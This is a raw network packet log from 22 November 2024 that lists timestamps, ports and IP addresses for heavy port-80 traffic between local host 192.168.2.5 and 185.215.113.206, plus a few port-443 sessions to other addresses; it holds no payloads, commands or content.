Nov 22, 2024 00:11:56.587884903 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.587920904 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.587971926 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.588915110 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.588958979 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.588967085 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.589003086 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.590023041 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.590091944 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.590116978 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.590162992 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.591085911 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.591147900 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.591191053 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.591239929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.592180014 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.592233896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.592391968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.592538118 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.593276978 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.593329906 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.593389988 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.593456984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.594376087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.594424963 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.594477892 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.594523907 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.595458984 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.595524073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.595546007 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.595649004 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.688756943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.746396065 CET	443	49882	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.746926069 CET	49882	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.746949911 CET	443	49882	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.747376919 CET	49882	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.747383118 CET	443	49882	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.806211948 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.869744062 CET	443	49881	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.869807959 CET	443	49881	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.869949102 CET	49881	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.870074987 CET	49881	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.870090961 CET	443	49881	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.870098114 CET	49881	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.870104074 CET	443	49881	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.872849941 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.872898102 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.872997046 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.873131037 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.873147011 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.051601887 CET	49897	443	192.168.2.5	20.110.205.119
Nov 22, 2024 00:11:57.051635981 CET	443	49897	20.110.205.119	192.168.2.5
Nov 22, 2024 00:11:57.052124977 CET	49897	443	192.168.2.5	20.110.205.119
Nov 22, 2024 00:11:57.052402020 CET	49897	443	192.168.2.5	20.110.205.119
Nov 22, 2024 00:11:57.052423954 CET	443	49897	20.110.205.119	192.168.2.5
Nov 22, 2024 00:11:57.137590885 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.137681961 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.137775898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.137823105 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.138124943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.138174057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.138216972 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.138257980 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.139214039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.139262915 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.139298916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.139337063 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.140367031 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.140384912 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.140419006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.140440941 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.141415119 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.141469002 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.141488075 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.141535044 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.142517090 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.142565012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.142597914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.142642021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.200130939 CET	443	49882	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.200191975 CET	443	49882	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.200258017 CET	49882	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:57.200449944 CET	49882	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:57.200469971 CET	443	49882	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.200481892 CET	49882	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:57.200489044 CET	443	49882	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.203908920 CET	49898	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:57.203933954 CET	443	49898	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.204005957 CET	49898	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:57.204202890 CET	49898	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:57.204217911 CET	443	49898	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.267107010 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.267277002 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.267282009 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.267324924 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.267617941 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.267682076 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.267793894 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.267884016 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.268737078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.268780947 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.268786907 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.268824100 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.269831896 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.269896984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.269912004 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.269993067 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.270904064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.270967007 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.271065950 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.271111012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.272023916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.272094965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.272125006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.272138119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.273148060 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.273205042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.273205042 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.273261070 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.274169922 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.274249077 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.274277925 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.274322987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.275286913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.275366068 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.275377989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.275425911 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.276402950 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.276467085 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.276494026 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.276544094 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.277493954 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.277581930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.277620077 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.277662992 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.278517008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.278578043 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.398690939 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.398756027 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.398758888 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.398802996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.399182081 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.399250984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.399372101 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.399431944 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.399482965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.399524927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.400544882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.400599003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.400707960 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.400753021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.401576996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.401695013 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.401724100 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.401834965 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.402686119 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.402746916 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.402767897 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.402811050 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.403815031 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.403871059 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.403928995 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.403973103 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.404845953 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.404925108 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.404959917 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.405025959 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.405951023 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.406008959 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.406052113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.406095028 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.407043934 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.407171965 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.407182932 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.407360077 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.408132076 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.408207893 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.408232927 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.408284903 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.409245968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.409313917 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.409352064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.409396887 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.410352945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.410406113 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.410449982 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.410491943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.411425114 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.411545992 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.411547899 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.411590099 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.412559986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.412622929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.412664890 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.412710905 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.413636923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.413698912 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.413755894 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.413800001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.414729118 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.414805889 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.414832115 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.414876938 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.415819883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.415891886 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.415929079 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.415986061 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.416908026 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.416981936 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.417011976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.417054892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.418040037 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.418116093 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.418147087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.418184042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.419100046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.419171095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.419202089 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.419245958 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.420175076 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.420222044 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.420296907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.420358896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.421284914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.421355009 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.421389103 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.421435118 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.485162973 CET	443	49884	52.168.117.168	192.168.2.5
Nov 22, 2024 00:11:57.485495090 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:57.485511065 CET	443	49884	52.168.117.168	192.168.2.5
Nov 22, 2024 00:11:57.486589909 CET	443	49884	52.168.117.168	192.168.2.5
Nov 22, 2024 00:11:57.486665010 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:57.488502979 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:57.488646984 CET	443	49884	52.168.117.168	192.168.2.5
Nov 22, 2024 00:11:57.488760948 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:57.488769054 CET	443	49884	52.168.117.168	192.168.2.5
Nov 22, 2024 00:11:57.488816023 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:57.488852978 CET	443	49884	52.168.117.168	192.168.2.5
Nov 22, 2024 00:11:57.527785063 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.527858973 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.527949095 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.527997017 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.528318882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.528383970 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.528394938 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.528443098 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.529062986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.529134035 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.529161930 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.529988050 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.530101061 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.530142069 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.530148029 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.530184031 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.531207085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.531286955 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.531378984 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.531478882 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.532346964 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.532403946 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.532407045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.532450914 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.533395052 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.533456087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.533498049 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.533541918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.534490108 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.534540892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.534611940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.535278082 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:57.535296917 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.535624981 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.535676956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.535686970 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.535716057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.536705971 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.536778927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.536798000 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.536840916 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.537787914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.537904978 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.537983894 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.538992882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.539014101 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.539062977 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.539112091 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.539961100 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.540024996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.540072918 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.540128946 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.541080952 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.541134119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.541167974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.541207075 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.542188883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.542238951 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.542304993 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.542346001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.543261051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.543308020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.543355942 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.543401003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.544367075 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.544434071 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.544477940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.544519901 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.545488119 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.545543909 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.545578003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.545624018 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.546555996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.546634912 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.546690941 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.547648907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.547698021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.547703981 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.547751904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.548796892 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.548850060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.548901081 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.549030066 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.549837112 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.549892902 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.549966097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.551011086 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.551058054 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.551106930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.551177025 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.551220894 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.552064896 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.552119970 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.552156925 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.552201033 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.553116083 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.553193092 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.553241968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.553288937 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.554212093 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.554260969 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.554316998 CET	80	49788	185.215.113.206	192.168.2.5
